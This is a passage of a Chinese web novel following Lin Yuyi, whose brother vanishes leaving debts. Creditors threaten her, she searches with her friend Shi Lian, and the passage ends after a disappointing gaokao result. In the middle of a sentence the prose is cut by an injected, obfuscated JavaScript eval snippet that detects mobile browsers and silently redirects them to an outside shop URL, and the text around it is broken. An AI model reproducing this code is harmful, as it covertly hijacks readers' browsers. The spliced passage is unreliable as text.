“自己开鸭场?”林羽翼脑袋像是被闪电劈了一下,脑海里闪过除夕那晚的一幕幕画面,两大包酱板鸭、摩托车、还有专门买给她的随声听,那时她已经觉得奇怪,哥哥怎么突然赚了大钱? 竟然是因为,他瞒着她自己去开了鸭场? 一直到现在,他欠了钱,人不知道跑哪儿去了,依旧没有告诉她一声? 不,她不信,她还 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林羽翼用力捂住脑袋,努力克制住没有尖叫出声,她跌跌撞撞地走回了家,茫然坐在黑沉沉的堂屋里,不知道该怎么办。 哥哥真欠钱了吗? 不,不管哥哥到底欠没欠钱,当务之急,是想办法联系上他!只要能联系上他,一切就能明了。 联系、联系…… 电话打不通,人找不到,还能怎么联系?去、去他工作的地方敲敲,说不定能找到蛛丝马迹?林羽翼忽然站起身,焦急地冲向院门口,没几步,她又停下脚步。 不行,现在已经下午了,回广都的车程一个多小时,要是又被那些讨债的人盯上怎么办?林羽翼迟疑地停在院门口,呆愣愣地站了几秒,又一次迈步向前。 走到三婶儿院门口时,她放慢脚步,果然,听见里面窃窃私语: “山娃那孩子,我早觉得他不靠谱!尤其是这半年里,你看他,呵!整个人都飘起来了!你是没见过他那神气的样儿哟,我当时就觉得,他肯定要摔很惨,现在不就摔了吗?” “也不知道他到底是啥情况,生意出问题了?还是去赌了?或者你说,他会不会在外面乱搞啊——估摸着不会,他这一点还是蛮老实。” 林羽翼站在院子外的阴影里,每一丝声音都好像重重敲在她心口,敲得她心脏一阵阵钝痛。 林羽翼埋着头,痛苦地深呼吸几次,用力敲了敲院门。 院子里聊天声戛然而止。 林羽翼往前几步,挤出一个苍白的笑:“三婶儿,叔,你们能、能开三蹦子载我一程吗?我想去镇上,去报警。” “报警?”三婶儿皱起眉头,“欠债还钱天经地义!小鸟,你报警有啥用?你哥欠了那么大笔钱,报警他也要还钱的啊!” “不是的……”林羽翼连连摆手,“我只是想找到他,想问他到底怎么回事儿。” “那也没用。”三婶儿一摊手,“你哥要是真去了沿海,那么远,警察一时半会儿也找不到他呀!” 林羽翼沉默地抿着嘴唇。 三婶继续劝她:“小鸟啊,你这时候报警反而是给你哥添乱!你想想,你哥人不见了,最着急的是谁?肯定是他的债主!说不定,他的债主早报警了!可是这种事儿报警又有啥用呢?你哥没钱,警察也不能逼着他还钱啊!可你报警就不一样了,你是他妹,警察说不定真得去把他找回来,这之后咋办呢?他回来之后,要债的不得追上来啊?” 林羽翼头埋得更低了些,她不愿意承认,可是她心里知道三婶儿说得对。 “小鸟,听三婶儿的,你乖乖在家等着就好。之后等到开学,就好好读书,尽量别出学校。大人的事情,你别参和,你哥自己会解决的。”三婶拍拍她的肩膀,“小鸟,你是不是没生活费了?婶子这里有点钱,你拿去应急。” “不、不不用。”林羽翼连忙后退,“三婶儿,我这里钱够,每个月奖学金够我生活了,我、我只是……” 只是想找到哥哥。 在三婶的叹气声和怜悯的目光下,林羽翼落荒而逃回到自家院子里。 今晚注定是个不眠夜。 前几天晚上,林羽翼还有心思看看书、写写卷子,今晚一点儿也学不进去,却又睡不着,抱着膝盖蜷缩在墙角,心脏在胸腔里乱蹦。 时间在她的胡思乱想中流逝,转眼便到了半夜,林羽翼听着屋外震天响的蝉鸣,终于迷迷糊糊有了点儿睡意。 “吱,吱,吱——” 蝉鸣此起彼伏,仿佛没有终末。 忽然,层层叠叠的蝉鸣声中,闯入了一声、两声、好几声极不和谐的“啪嗒”声,像是有人从高处落下,没稳住脚步的声音。 林羽翼本就没睡着,听到这细微的声音,她猛地抬头睁眼,望向木门处,脊背上瞬间起了汗毛。 堂屋的门已经被她死死别住,没有门缝,看不见外面的情形。 可她直觉外面有人。 林羽翼浑身肌肉倏地绷紧,她能清晰感觉到基本上盗汗发麻的感觉,她悄无声息地,身形僵硬地,一点一点,往木板床下的方向挪了挪。 时间的流逝仿佛变得缓慢,门外的蝉鸣异常清晰、缓慢,一阵接一阵,永不停歇。正当林羽翼快要放下警惕时,她终于听见了人声。 几个男人在外面低声交谈。 “房子里是不是压根没人?傍晚时就没看见灯亮!” “管他的,把门砸开看看不就知道。” 堂屋里,林羽翼瞳孔倏地缩小,她的手一下摸索到床下,无比小心又无比迅速地握住一根长木柄——砍柴的小斧头。 她的手掌握住斧头柄,握得很紧,手心满是汗水,无声地将斧头从床下拖出来,紧紧抱到怀里,她全身止不住地抖。 尽管黑暗中什么也看不清,林羽翼依旧死死盯着门口,听着外面的动静。 “咚”一声巨响。 有人踹到了门上,木门颤抖几下,抖落一阵灰尘,好歹没有散架。 “靠,还挺牢固呢。”外面的人骂一句,还没来得及踹第二脚,忽然听见不远处一阵狗叫。 “汪!” “汪汪!” 一声声狗吠如黎明前的鸡鸣,接二连三,仿佛即将唤醒夜晚沉睡的村落。 “妈的小声点儿!别把村里其他人惊动了!”男人语气明显慌了。 林羽翼没有再听见第二次踹门声,但她听见门外噼里啪啦一阵响,随即,脚步声远处,狗吠声渐渐消失。 她等了很久。 安安静静地,紧紧抱着斧头等了很久。 直到天明,连蝉鸣都消退,只剩下鸟鸣的时刻,她才终于放下斧头,脱力般瘫靠在墙壁上,连大口喘气的力气都没有。 34.第20章 林羽翼在墙角瘫坐许久。 久到门外的鸟鸣声淡去,清晨的光线从门缝里渗进来,渗得不深,整个房间依旧阴沉、黯淡,仿佛它本该如此,门外嘈杂的人声响起,乡邻们一声声问候、喊声,随即是敲门声。 林羽翼先是条件反射般握紧斧头,感觉到手掌被硌得生疼,好一会儿,才一点点松开手,用力扶着额头。 木门不隔音,林羽翼清楚地听见外面那些乡里乡亲,都在说些什么。 “哎呀哎呀,这咋回事啊?王家这院子咋变这样了!” “还不是山娃,他出去做生意,瞎搞嘛!欠了一大笔钱!” “山娃他欠了钱?怎么会呢?那孩子不挺老实吗?” “老实?你不知道哟,他这半年飘成什么样了!我看着他那不靠谱的样儿,就知道要出事!他啊,想赚钱得很,说是做生意?我才不信呢,我觉得吧,他八成是去赌了!” “作孽啊……” “小鸟呢?小鸟不是还在家吗——小鸟!你在家吗?昨晚没事儿吧?” “小鸟,到底发生啥了,你来和我们说说啊!” 林羽翼用力揉一把脸,门外乡邻的话语像是万千根针刺般扎在她背上。她明明没力气,却被针扎得疼啊,她不得不起身,一步步走向木门,开门。 林羽翼第一眼看见的,不是院子周围零零散散站着的亲戚们,而是院子里—— 墙上、地面、院门上杂乱斑驳的红漆。 “欠债还钱天经地义”八个字,如扭曲的盘龙般缠绕在院子里的每个角落,像是活过来一般,睁着一双满是恶意的猩红双眼,每一双眼睛,都直直地盯着林羽翼。 林羽翼全身都在抖。 院门外的亲戚们嘈杂的议论声变成窃窃私语,只剩下对林羽翼关切的问句:“小鸟,到底咋回事啊?你、你没事儿吧?” “……”林羽翼张口,想要回答,可是看见村民们一双双探究的眸子,她却觉得脑海里一阵天旋地转,胃里翻腾起剧烈的呕吐感。 下一秒,大脑“噹”地宕机,等她回过神来时,她已经不顾亲戚们的叫喊声,飞奔离开院子,离开人群,向着一望无际的田野奔去。 她以为自己脑海一片混沌,以为自己也不知道自己要去哪儿,以为自己只是想逃出那个斑驳狼藉的家,犹如一头无家可归四处乱闯的可怜幼兽。 直到她看见一座熟悉的小院出现在她面前。 小院干净、空荡、整洁。 她停下脚步。 大脑渐渐拾起一些理智,她停在院子外,犹豫要不要敲门,想要抬手,却又不敢。怯懦战胜了其余情绪,她正要无力地转身离开,却听见身后一声无比熟悉的喊声: “林羽翼——!” “林羽翼,你怎么了?”下一秒,院门从里面被急迫地打开。 林羽翼感觉到,一只手轻柔却又坚定地拉住自己肩膀,裹挟着淡淡薄荷的清香,师涟向她靠了过来。 夏日的早晨很热。 林羽翼跑了很久,她本该觉得热得要命。 她以为自己不想要靠近任何人,不想听到任何人的声音。 可是这时,她却觉得身后怀抱所带来的温暖,是那么的……亲切可贵。耳边的声音,则如一汪清凉透彻的山泉水,一下子扑灭她心底焦躁不安的热火。 “师涟……”林羽翼再也忍不住情绪,转身埋头在师涟的肩膀上,止不住大哭,“我、我哥不见了……他欠了钱……” “师涟,我好害怕……” 听到林羽翼的声音,师涟呼吸一下子变得紧凑,眉头惶惶地皱起,眼中的关切无助快要溢出来。但她的声音一如既往的温柔恬淡,如悠扬的音乐一般,安抚着林羽翼快要碎掉的脆弱神经: “不怕。” “我在这里。” “我们先回房间,好吗?外面热,我们先进去吹吹风,没事儿的,不怕,我和你一起想办法,我陪着你。” 在师涟的搀扶下,林羽翼颤颤巍巍地回到房间里,埋在师涟怀里吹着风扇,抽噎的声音逐渐止住。 她抬头,揉揉哭得红肿的眼睛,视线落在师涟的肩膀上,她看见师涟的衣服上沾了她的鼻涕口水,她有些想笑,又笑不出来,表情一时显得难看。 师涟注意到她的目光,没有去理会肩膀上的痕迹,先拿手巾纸帮林羽翼擦了脸,把泪痕擦得干干净净:“愿意和我说说具体怎么回事吗?” “……好。”林羽翼张了张嘴,可又犹豫地闭上嘴,手指握紧,声音很低,“孙阿姨呢?” “她在外边,镇上去了,放心,她肯定没听到你刚才哭了。”师涟轻声道。 “那……”林羽翼想了想,弱弱说,“你不要告诉阿姨发生了什么,好吗?” 师涟抬眸,看着林羽翼脆弱无比的目光,沉默片刻,点了头:“嗯,我不说。” 林羽翼深深呼口气,这才把最近发生的一件件事,从哥哥消失开始,到今早院子里的红色油漆大字,逐个讲给师涟听。 昨天和三婶儿说起这些事时,自己心里害怕得不行,可是和师涟说起,却觉得平静又安心。 “师涟,你说怎么办才好?”说完,林羽翼翻个身,躺在师涟腿上,身体不自觉蜷成一个圆。 师涟紧皱的眉头一点点松开,她思索着柔声道:“你先不要着急。我们今天……不,今天你先好好休息一会儿,明天我们去你哥养鸭子的地方看看,一起去找找线索,好吗?” 林羽翼下意识想摇头,可是师涟的指尖轻轻抵到她眼眶下,冰凉的指尖停在上面,怜惜地抚过。 “你昨晚没睡觉,是不是?”师涟轻声说,“没关系的,先睡一觉,如果觉得明天晚了,那今天下午睡醒后我们去广都,晚上就住在广都那边,不回村子了,怎么样?” 师涟说着问句,手掌却不由分说盖在林羽翼眼前,遮住了阳光。 林羽翼闭眼,感觉到睫毛轻轻扫过她掌心:“好。” …… 这一觉林羽翼睡得很沉。 什么都没有想,什么情绪都没有,没有害怕、没有惶恐,就这么无比安心地睡着,好像回到了母亲的子宫里,黑暗又舒心。 醒来睁开眼,林羽翼模模糊糊间,第一眼看到的是她搭在师涟手心上的手掌,她们还牵着手,她竟然还睡在师涟腿上。 “醒了?”师涟放下另一只手里捧着的单词册,低头看她。 “嗯……醒了。”林羽翼揉着眼睛,不好意思地坐起身,“我、我睡了多久?有影响到你吗?” 一问出口,林羽翼立马脸红了,废话,能不影响吗?师涟平时这个时候都在桌前刷题呢,哪儿会半躺在床上背单词? 师涟怕打扰到她,压根一动没动过,说不定腿都被压麻了呢。 林羽翼伸手,想帮师涟揉揉,又不好意思。师涟抓住她不知道往哪儿放的手掌,无所谓地笑: “没事儿,不久,现在才一点。去吃午饭吗?” 下午一点……那也三四个小时了。林羽翼一下更不好意思了,声音都变得含糊:“一点——?你没吃午饭吗?孙阿姨她、她怎么说?” “刚刚我妈敲门叫我吃饭,我告诉她说,我早上吃得太饱了,想晚点儿再吃,她没意见。”师涟看着林羽翼呆呆的模样,又看见她眼角依旧红肿的痕迹,心底轻叹了口气,伸手捏捏她的脸颊,“怎么,你觉得我妈不允许我偶尔叛逆那么一两回?走了,去吃饭吧,你放心,你的事儿,我不告诉我妈。” 林羽翼被师涟牵着到了堂屋,夏天乡下的午餐很简单,热粥配上凉菜,再炒个笋子肉,一顿饭吃得开胃又清爽。这时掀开桌上的白纱布,粥碗里还冒着热气。 孙阿姨已经睡午觉去了,阴凉的堂屋里只有林羽翼和师涟二人,门外很安静,只有风吹竹林的哗哗声。 吃完饭,林羽翼望向门外,午后炽烈的阳光下,树影轻轻随风摇曳。 “走吧。”师涟起身,“我和我妈说果了,说下午我们去广都复习,今天就不回来了。” 林羽翼往前一步,又犹豫地退回屋里。 “怎么了?”师涟轻声问。 林羽翼抬手摸了摸散落在肩头的杂乱发丝,手指捏紧:“师涟,我想把头发剪了。我怕……我怕会被昨天那些人认出来。” 林羽翼呼口气,语气有些不舍。 师涟目光落在她的发丝上。 留了一年多的头发,好不容易彻底盖过肩头,长到了背上,再长一两年就能长发齐腰。这时突然剪掉,未免太可惜了。 沉默几秒,师涟点头:“好,我帮你剪。” 林羽翼搬出凳子,坐在院子里——镜子挂在院墙上,太阳的反光刺得她有些睁不开眼,但她还是努力睁着眼,看着镜子里的自己。 最开始的时候明明不怎么想留长发,现在要剪掉了,却又觉得舍不得。不过,一想到头发留长后,村里那些亲戚夸她“长漂亮了”、“总算有个女孩子样”,甚至还有人开玩笑问她是不是开窍想恋爱了,林羽翼又觉得,这头发还是剪了好。 师涟拿出剪头的披风往林羽翼身上一盖,拿着剪子有模有样地比划几下。 林羽翼闭上眼睛,不再看。 “害怕我给你剪得乱七八糟?”师涟打趣地轻轻问。 “没有。”林羽翼小声说,“只是觉得……留长发的这一年都没个照片,有一点不舍。” “没关系的,头发很快会再长出来。”师涟声音轻柔,伴随着“咔嚓”一声,一缕发丝飘落,在阳光下,仿若银色的飘絮,“到明年这个时候,就又长回现在的长度了。” “明年?一年才不够呢。”林羽翼闭着眼睛说。 “咔嚓。”又一声。 “那就后年。”师涟说。 “后年……”林羽翼语气惆怅,“后年都读大学了啊。” “大学不好吗?”又一声,“咔嚓。” “好呀,都说读大学就轻松了,就不用努力了,可是大学我们就要分开了呀。”林羽翼语气忽的低落,“我觉得我考不上川大,更别说清北。” “咔嚓。” 师涟的手指僵了僵。 “还有一年,我们一起加油。”师涟呼气。 “嗯……”林羽翼又笑了,“就算我们不在同一个大学,也一定要常联系啊。师涟,你可是我最好的朋友,我们要一直一直做好朋友。” 林羽翼没有等到回答。 师涟的手掌落在她头顶,抚了抚:“剪好了。” 她解开披风,抖落上面的发丝,一缕缕头发如飞絮般在阳光下飘扬。 林羽翼睁眼,在反着光的镜子中看到现在的自己。 一头长发变成了服帖整齐的短发,盖过上耳廓,却没遮住耳根,碎发绕在两鬓处,刚好露出眉毛,后脑勺的头发蓬松地搭在那儿,她站起来,那一蓬头发便随之蹦跶一下。 “不错,挺清爽的。”林羽翼弯起眉眼笑,露出两颗小虎牙。只是,又有点像假小子了,像个清秀的男孩子。 “师涟,你觉得我长发好看,还是短发好看?”林羽翼低声问。 师涟正盯着散落在地上的发丝,似乎在发呆,林羽翼从她眼中读出了可惜的神色。但很快,师涟回过神来,认真看着她,与镜中的她对视:“你怎样都好看。” “真的吗?” “真的。” “唔……”林羽翼从凳子上跳起来,“行吧,出发!” …… 公交车停在广都中学对面的街道边。 下车,沿着街道走几步路,便能够看见“安公堤”纪念碑,旁边便是奔流不息的府河,沿着河往上游走一段路,才能到王登高以前养鸭子的地方。 然而刚靠近河岸,林羽翼就察觉到了不对劲儿,一股浓烈的腥臭味扑面而来,风一吹,熏得她差点睁不开眼。 “咳、咳咳……!”林羽翼低头猛地咳嗽,再抬头,看见河里的景象,差点没被恶心吐。 一头白花花的死猪尸体漂浮在河面,本该顺着浑浊的河水往下游,却不知是不是被水草缠住,晃悠悠停在河中央。 怎么回事儿! 以前来河边的时候,河水虽然算不上多清澈,但也不至于脏成这个样啊!林羽翼心头倏地升起一股不好的预感。 更让她不安的是,沿河走了几分钟,一户养鸭户都没看见!河流两岸一片荒凉,甚至没人借着河土种菜。 以前河边全是养鸭户的呀! 林羽翼不自觉加快脚步,焦急地往前走啊走,终于走到以前王登高工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130175|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方。 记忆中一大片成规模的鸭圈,这时已经完全变了模样,倒是能看出些许鸭场的痕迹——东倒西歪的围栏,久久未能被风吹散的经年累月的水禽排泄物的气息,但一点儿活物都见不着,没有鸭子,没有人,只有那些漫天飞舞的蚊蝇。 以前王登高住的工棚不知是被风吹倒,还是被人拆了去卖钱,总之,一点儿痕迹都找不见了。 林羽翼怔怔站在河边,看着眼底的一切,心里的温度一点点褪去,心里仅存的最后一丝希望也随之消散,心凉了。 师涟站在一旁,牵住她不断颤抖的手。 林羽翼重重闭上眼,想哭,可是又哭不出来。她靠着师涟的肩膀,死死咬着嘴唇,从喉咙里发出喑哑的嘶嘶声,伴随着一阵阵剧烈痉挛疼痛。 “再去……”睁眼,林羽翼重重呼口气,声音沉重,“再去下河坝看看。” 她记得以前有个养鸭子的刘叔叔住那儿,哥哥和刘叔叔关系不错,还带她去他家做过客。 从河边到下河坝的距离不短,走路接近半个多小时,可林羽翼却感觉这半小时路程一晃而过,没有在脑海里留下任何痕迹,仿佛只是一转眼,她便到了刘麻子家门口。 “咚咚咚。”林羽翼重重敲响铁门。 房门很快被打开。 “你是……”屋里,刘麻子佝偻着背,抬头看向林羽翼,一时没认出人。 “刘叔叔,我是林羽翼,王登高的妹妹。你、你知道他去哪儿了吗?我这几天突然联系不上他了……鸭场也不见了,刘叔叔,你、你知道发生什么了吗?”林羽翼一股脑把心里的话问出来,一路上她已经编排无数次,可真正说出口时,声音依旧抖得厉害。 刘麻子迷茫的盯着她,浑浊泛着黄的眼睛逐渐有神,倏地找到焦点,眸中骤然泛起笑意:“是小鸟啊,来,来,进来坐。” 林羽翼被他反常的笑意吓到,本能地后退半步,与师涟并排而站。 “谁呢?”屋里响起一声洪亮的中年女声,随即,一个五十来岁的卷发女人探出头来,“老刘,咋回事儿呢?” “王登高的妹妹……” 刘麻子话音未落,女人便如见了猎物的猛虎般一下子扑上来,直直扑到门口,挤开刘麻子,像是要扑到林羽翼身上:“你哥让你来还钱的?嗨呀,算你哥有点良心!我还以为他欠钱不还,彻底跑路了呢!” “什么?”林羽翼眼睛骤然瞪大,错愕道,“哥哥他、他欠了你们钱?” “欠了五千呢!”女人举起五根手指,喷着白花花的唾沫,“虽然是不算多吧,可他欠了也有大半年了!这半年里,我家老刘没再卖鸭子,手里是一点儿收入都没有,他身体又不好,隔三差五去医院,家里钱紧得很哟!饭都快吃不上!诶——小妹妹,你该不会不知道吧?你、你可别想赖账!” 刘麻子低声补充道:“去年秋天,温老板搬去山里做鸭场,你哥接手了他在河边的厂子,开始自己做生意。原本做得还算不错,眼看着就能回本,结果河水突然被污染,他的鸭子全死了,他欠了一大笔钱,不知道跑哪儿去了,我们正到处找他呢,还报了警,却一点儿消息都没有。” 林羽翼并没有注意到,说到河水被污染几个字时,刘麻子埋下头,浑浊眼珠不自觉地转了转。 她只觉得心惊。 之前的一切猜测都得到了印证。 哥哥真的瞒着她去做了生意,真的欠了钱,又真的……和所有人都失去了联系。 恐惧、惶然,还有说不清道不明的愤怒情绪从心底蔓延,恍然间仿佛有什么在脑子里炸开,留下一片碎落的狼藉,脑袋里每一根神经脉络,都快要涨裂似的疼。 外界的声音仿佛变得好远好远,但林羽翼还是听到了。 她听到刘麻子和中年女人的声音: “你肯来找我们,还算有点良心。” “反正这钱你哥哥必须还给我们,再拿不到钱,我家这日子真过不下去了!” “我看你是个读书的,高中生吧?也算是有文化,你可不会像你哥一样溜掉吧?” “别看只有五千块,你哥这是想要我们的命啊——!” “要是我家老刘真病死了,我也去你们学校门口上吊!让所有人知道你的德性,你这个老赖的亲妹妹,把人逼上绝路!我做鬼也不会放过你们兄妹!” 女人越说越激动,噼里啪啦的口水差点落在林羽翼脸上。 林羽翼只是安静听着,没有任何表情,目光死一般的寂静。 “你闭嘴——!”忽然,师涟怒吼一声,冷厉清冽的声音打断女人的絮絮叨叨。师涟一手挡在林羽翼面前,目光冰凉地看着他们:“说什么呢?为了五千元寻死觅活,你自己觉得值吗?用这种话去逼一个高中生,你不觉得好笑吗?” 师涟不是一个会生气的人。 认识这么久,林羽翼就没见她生过气、发过火。 她向来冷静、自持,这样的人突然发起火来,才更让人觉得可怕。 “哈——?”女人被师涟的气势吓退一步,喘口气,随即挺直胸膛,“我这不是找不到她哥吗?更何况,我哪句不是实话了?我家就是需要这五千元啊!不信你看啊,借条都在这儿呢!” “够了。”林羽翼忽的埋下头,笑出了声,笑声收敛,语气冷静得可怕,“我知道了,五千元是吧,我卡里有三千元,我待会儿就去取钱。明天你们来广都中学校门口,我把钱给你们,剩下两千元,我一年内还清。” 她说完,楼道里所有人都安静了。 刘麻子夫妻诧异地看了她几秒,忽的也笑了,中年女人一反常态地,大气地一摆手,笑嘻嘻地说:“嗨呀,我们怎么能收小朋友的钱呢?你哥欠钱是你哥的事儿,但我家这情况,你也知道,唉……这样吧,你还三千块就行,明天我们把欠条给你,剩下两千块,我们家就不计较了。” “……行,谢谢你们。”林羽翼几乎是从嗓子眼里挤出这几个字。 她安静地转身,一步步漠然走下楼,一直走出老房子昏暗的楼道,走到阳光下,盛夏刺目的光线洒在她身上,她才感觉手心一阵灼痛。 抬手一看,手掌竟然被掐出了血痕。 …… 林羽翼的高三生活,就这么糟糕地开了个头。 35.第21章 林羽翼的高三过得很糟糕。 没有海阔天空,没有扶摇直上,只有昏昏沉沉与浑浑噩噩,学习、躲债,吃饭、睡觉,时间仿佛一晃眼就过去了,没有留下一丝痕迹。 成绩也一直就那样,考得好能在年级二十名,考得差一点也就四十来名,没什么大波动,说好听点儿是稳定,说难听点儿是不思进取。林羽翼自己也承认,她连高二时的学习劲头都拿不出来了,更别说高一那会儿拼命努力的模样。 生活已经很痛苦了,她不想在别的方面,把自己逼得更痛苦。 只不过,杨老师再不会像以前那么训她了,每每看着她偷懒放空,都只是一声叹。 到了高三的最后几个月,其他班级明显地进入冲刺阶段,一班这个领头羊却变得无比浮躁,或许是紧绷了两年多的弦终于断了,班级里随时都闹哄哄乱糟糟的,同学们开着玩笑说着“明年再战”,好像谁也没把高考当回事儿。 林羽翼嫌教室里吵,便时不时趁着自习课,溜出教室,溜出学校,坐到臭烘烘的河边——在哥哥曾经养鸭的地方,看着浑浊流淌的河水发呆。 从去年暑假开始,哥哥便失踪得彻彻底底,电话打不通,从来没接到他的电话,人找不到,别说报警了,警察都来找过林羽翼好多次。毕竟王登高跑到沿海去了呀,林羽翼没去过沿海,只听师涟提起过那里—— 四处都是高楼大厦,可高楼下面便是逼仄阴暗的城中村,村里小巷只能一两人通过,空调水滴滴答答往下落,像是下雨了一样,走在小巷里,抬头甚至看不到天空。 城中村里每一栋楼里都住满了人,楼里的房间狭窄得要命,二十平米的小单间,一层楼能有二三十来间这样的房间。里面挤满了前来沿海的打工人,人多起来,难免鱼龙混杂。 王登高要是混在里面,就像是不断流淌的沙堆里的一粒沙,谁能找得到他呀? 如果不是每个月卡里都能按时收到一笔钱,林羽翼都快以为他已经不在这个世界上了。 哦,还有那些债主一波一波地涌来,林羽翼一点点看着王登高欠的钱从最开始的十三万,变成十五万,然后变成二十万,滚雪球似的越滚越多。到后面,她都不知道具体数额了。 刚开始林羽翼还会惶恐无措,后来,她都觉得麻木了,甚至会欣慰地想,越来越多的债务,也算是哥哥还活着的证明吧。 林羽翼也不知道从什么时候开始,养成了在河边吹风发呆的习惯,迎着腥臭熏人的河风,大脑放空,仿佛现实里的一切都离她远去。 又或者,她心底一直偷偷期望着,或许有一天,能够看见哥哥的身影再次出现在这里。她自己也说不清。 回到闹腾腾的教室,林羽翼学不进去时,就会看小说——不过不再是中文小说,是英文的。 是刘明去年跟着父母出国旅行买来的书,各种类型都有,历史文学、严肃纪实、爱情小说,林羽翼最喜欢的是最后一类,看着轻轻松松,不用费脑子。 唯一让林羽翼觉得不能接受的是,外国人的爱情观都太轻浮了,书里的男女主角就算没在一起,也可以随意亲吻、发生关系,甚至还要更糟糕一些,实在太奇怪了。 高三之后,班上谈恋爱的同学越来越多,尤其是到了最后几个月,那些小情侣们藏都不藏了,老师怕影响到几个月后的高考,也没再多管,整个教室里都弥漫着恋爱的酸臭味。 林羽翼依旧没有开窍。 她好像没有对哪个男生有过兴趣,虽然爱看言情小说,可是她没法将书里的恋爱代入自己。 谈恋爱有什么好玩的?她只想一辈子和好朋友在一起。 当然,目前为止,她只有师涟这一个最好的朋友。 高三的这些日子,如果不是师涟一直陪着她,她或许早就坚持不下去了。如果不是师涟,或许她已经像初三那会儿一样,彻底放下书本不想学了。 是师涟陪着她躲过一次又一次催债,是师涟在她痛苦不堪学不进去的时候一直耐心地温声鼓励着她,给她讲题,陪她学习,日日给她带早餐的是师涟,牵着颓废不肯动的她在操场散步的是师涟,放假时次次收留她把她带回自己家——包括过年,也是师涟。 是师涟把她拖出深渊的边缘。 可是林羽翼心知肚明,哪有什么一辈子?朋友迟早会走散的,就像张潇扬那样,各走各的路,越来越远,直至再也不见。 她和张潇扬的分别是在出国,而她和师涟命中注定的分别,大概是在高考。 越接近高考,林羽翼就越是认命,她知道,自己不可能和师涟考上同一所学校,她三诊考试超常发挥,考了年级第十七名,离川大的收分线依旧有一定距离。 林羽翼并不指望自己能在高考超常发挥,她这一年过得很糟,她不觉得自己能用一场考试翻盘。 事实证明,的确如此。 林羽翼学得太飘,基本功不太扎实,试题越简单,她发挥得越好,比如这一年的三诊,她考了六百一十二分,再往上冲个几分,稳一稳,就离川大很接近了。 但她每每遇到难题,就彻底歇了菜,别人能靠扎实的基本功专研出答案,她不行,她只能苦兮兮地躺平。 很不幸的是,这一年的理科高考,是前后三五年里,题目最难的一年。 第一天的数学考试,已经有学生在考场里崩溃大哭,考试结束后,校园里更是一片哀嚎,整一个惨不忍睹。 “啊……” 没希望了。 这是林羽翼走出考场时,心里唯一的想法。 数学考上一百一十分估计没门儿了,她要想考高分,只能靠后面的科目。英语她这一年没能冲上140分,但应该能稳在130,英语她就没翻过车,主要还得看理综。 拜托了,理综可千万不要太难啊! 林羽翼的祈祷并没有任何作用。 这一年的理综题不知道击碎了多少考生的心理防线,以至于下午的英语考试都受到些许影响,走出考场时,学生们的脸色已经不能用悲怆来形容了,几乎可以说是如丧考妣。 如果说考完数学的时候,林羽翼对未来还有一点儿期许,这会儿便是完全心死了。 川大、还有川内其余几所985高校估计都没戏了,也就排在211尾巴的农业大学有点希望……唉,别想那么多,说不定别人也都考得很差,分数线很低呢?林羽翼只能这样安慰自己。 这一年,川城高考已经改革成先出分数再报志愿,林羽翼煎熬地等啊等,终于等到出分的那天。 听说那些“有关系”的人一早就能知道成绩,还有人能用电脑查分呢!但林羽翼和师涟没有所谓的关系,家里也没有电脑,她们只能早早到学校等着。 办公室里围了一大圈人,学生、家长,大家都焦灼地探着脑袋,老师则忙碌地不断拨着电话,一个个名字和分数接二连三从他们嘴里蹦出来,立马被记在纸上。 林羽翼和师涟没有立刻去凑这热闹,她们安安静静地等在办公室外。 靠在冰冷的瓷砖上,林羽翼闭着眼,看似平静的外壳下,一颗心却在怦怦乱跳。 高考出成绩是大事儿,师涟爸爸特意从外地赶了回来,就为了陪女儿等着高考成绩,可是师涟却拒绝了他们一起来学校的请求,说是没必要,还说今天学校里人又多又挤,还热得慌,让他们不如在家等着电话。总之,师涟成功说服了爸爸妈妈,没让他们跟来。 孙阿姨和师叔叔对师涟说的那些话深信不疑,可是只有林羽翼知道,哪儿有那么多杂七杂八的原因?师涟只是照顾着她的情绪。 师涟不想看见拿到成绩那一刻,一家人欢欣雀跃,而林羽翼一人孤零零无措却又一桶惊声笑着站在一旁的景象。 她不想让林羽翼难堪。 正因为知道师涟的心思,林羽翼心情才更加复杂,一边因为师涟对她的照顾而感动,心里泛着暖意,可一边又更加唾弃自己,觉得自己是个无用的累赘一样。 手指轻轻贴在冰凉的墙面上,忽然,手背感觉到一阵温柔的触摸,是指尖轻轻划过的感觉,然后是手掌。师涟牵住了她的手。 算了……反正也是最后一次了,大学之后应该没什么机会能见面了,那么就最后心安理得地贪恋一下师涟的照顾,也没什么问题吧? 林羽翼的手指握了回去。 两个少女牵着手,安安静静站在办公室外的墙边,灿烂的阳光从走廊外洒进来,在走廊上蔓延出一道很长的光痕,刚好停在她们面前,为她们勾勒出一丝阴凉。两个人仿佛自成一个小世界,与周围的嘈杂人声隔绝。 她们安静站了许久。 直到办公室里的人影越来越少,教学楼逐渐归于寂静,杨老师终于喊到她们的名字。 “师涟,林羽翼!进来!” 林羽翼忐忑地牵紧师涟的手,呼口气,和她一起迈步走进办公室。 打了一上午电话,杨老师嗓子已经冒烟,他喝口水,掩不住口干舌燥:“师涟,你的成绩不错,你爸妈那边应该已经收到短信了,我们先说说林羽翼。” “五百六十分,高出一本线二十二分,你这……”他叹口气,似是恨铁不成钢,又似是丝毫没有觉得意外,“这次的题难,你这成绩也正常。但是我刚刚粗略算了算,你在年级上大概只能排六七十名,该报什么学校,能上什么学校,你心里有数吧?第一志愿去赌一赌川大,第二志愿你自己看着报,看看外省的985211,第三志愿稳一稳农大,自己知道?” “我知道。”林羽翼看着杨老师的表情,目光沉沉地闪了下。 六七十名……是她高二以来,考过最差的名次了,说是发挥失常也不为过。 林羽翼写完数学时,就感觉到自己考得不好,却也没想过会差到这种程度。听到分数时,她的心咯噔跳了一下,更让她觉得难过的是,杨老师似乎对她的成绩完全没有意外,仿佛从一开始就没有过期待。 反倒是师涟,一下勾紧了她的手指。 林羽翼没有回握,感觉到指尖的温暖,她只觉得想哭。 